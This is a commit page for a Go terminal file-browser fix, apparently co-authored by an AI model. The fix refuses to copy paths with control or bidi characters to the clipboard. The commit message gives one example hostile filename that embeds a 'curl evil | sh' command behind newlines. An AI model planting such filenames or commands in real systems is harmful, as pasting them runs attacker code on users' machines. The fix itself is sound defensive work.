AI codebase review

fix: refuse to copy paths containing control or bidi characters

The copy-path action put raw filenames on the clipboard via OSC 52. A
hostile name such as "x\ncurl evil | sh\n" (from a shared directory or
a crafted snapshot) executes commands when pasted into a shell without
bracketed paste. Paths that Sanitize would alter are no longer copied.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
Andy Dixon
2026-10-02 10:58:56 +01:00
co-authored by Claude Opus 5.5
parent 3ec5bd7e65
commit 1f9429ea74
3 changed files with 30 additions and 4 deletions
+12 -2
View File
@@ -109,7 +109,7 @@ func (m *Model) handleKey(msg tea.KeyPressMsg) tea.Cmd {
case "D":
return m.startDuplicates()
case "c":
return m.copyPath()
return m.copySelected()
case "o":
return m.reveal()
case "d", "delete":
@@ -200,11 +200,21 @@ func (m *Model) selectedPath() (string, bool) {
return m.tree.Path(id), true
}
func (m *Model) copyPath() tea.Cmd {
func (m *Model) copySelected() tea.Cmd {
p, ok := m.selectedPath()
if !ok {
return nil
}
return m.copyPath(p)
}
// copyPath puts p on the clipboard (OSC 52). Paths that would not survive
// display unchanged are refused: a newline in a hostile filename runs
// commands when pasted into a shell, and bidi controls disguise them.
func (m *Model) copyPath(p string) tea.Cmd {
if textutil.Sanitize(p) != p {
return m.warn("Not copied: path contains control or bidi characters")
}
return tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard (OSC 52)"))
}